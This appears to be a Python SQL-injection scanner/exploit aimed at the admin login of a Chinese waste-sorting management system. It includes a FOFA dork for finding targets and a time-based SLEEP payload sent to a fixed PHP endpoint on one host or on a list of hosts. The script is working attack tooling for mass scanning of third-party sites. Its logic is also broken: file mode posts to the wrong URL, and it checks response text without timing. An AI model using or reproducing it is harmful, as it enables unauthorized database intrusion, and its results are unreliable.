1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import requests import sys import argparse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def longer(): print('+++FOFA:title="智能垃圾分类管理系统"') print('+++python xxx.py -u/--url http://xxx.xxx.xxx.xxx') print('+++python xxx.py -f/--file xxx.txt') print('+++作者:longer') print('-----------------------------------------------------') if len(sys.argv) == 1: longer() sys.exit() p = argparse.ArgumentParser(description='longer') p.add_argument('-u','--url',help='目标url',default='') p.add_argument('-f','--file',help='文件',default='') xp = p.parse_args() url = xp.url file = xp.file
data = "do=adminlogin&username=admin' AND (SELECT 2847 FROM (SELECT(SLEEP(5)))trlL)-- sNmL&password=4224" headers = { 'User-Agent': 'Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/90.0.4430.212Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', 'Cookie': 'PHPSESSID=hfq66id9bum90sovr9gmn7klde' }
if url !='': url1 = url try: url = url+'/ghc_master/data/action.admindata.php' r = requests.post(url = url ,headers =headers,data=data ,timeout = 15,verify=False) if r.text =='1' and r.status_code == 200: print(url1 + '存在sql注入') else: print(url1+'不存在sql注入') except: print(url1+"异常") if file!= '': f = open(file,'r+') for i in f.readlines(): url=i.strip() if url.startswith('http:') != 1 and url.startswith('https:') != 1: url = 'http://' + url url =url url1 = url try: t = url + '/ghc_master/data/action.admindata.php' r =requests.post(url=url,data=data,headers=headers,timeout=15,verify=False) if r.status_code == 200 and '1' in r.text: print(url1+'存在sql注入') else: print(url1+'不存在注入') except: print(url1+'异常')
|